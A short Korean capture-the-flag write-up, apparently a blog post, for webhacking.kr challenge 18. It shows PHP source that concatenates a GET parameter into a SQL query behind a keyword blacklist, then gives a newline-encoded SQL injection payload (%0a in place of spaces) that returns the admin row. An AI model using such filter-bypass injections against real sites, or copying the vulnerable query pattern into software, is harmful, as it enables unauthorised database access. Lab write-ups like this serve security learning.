반응형
<?
if($_GET[no])
{
if(eregi(" |/|\(|\)|\t|\||&|union|select|from|0x",$_GET[no])) exit("no hack");
$q=@mysql_fetch_array(mysql_query("select id from challenge18_table where id='guest' and no=$_GET[no]"));
if($q[0]=="guest") echo ("hi guest");
if($q[0]=="admin")
{
@solve();
echo ("hi admin!");
}
}
?>
http://webhacking.kr/challenge/web/web-32/index.php?no=123%0aor%0ano=2
sql return value에 id가 admin이면 성공한다.
간단하게 앞의 문장을 거짓을 만들고 뒤의 문장을 참으로 만들어주면 된다.
select id from challenge18_table where id='guest' and no=0 or id='admin'
이렇게 만들어주면 되지만 띄어쓰기가 막혀있고 id='admin'으로 하면은 쿼리가 안돌아오는 듯 하다.
띄어쓰기를 우회하는 방법은
%0a %0d 등등 여러가지가 있다.
최종 파라미터:
?no=123%0aor%0ano=2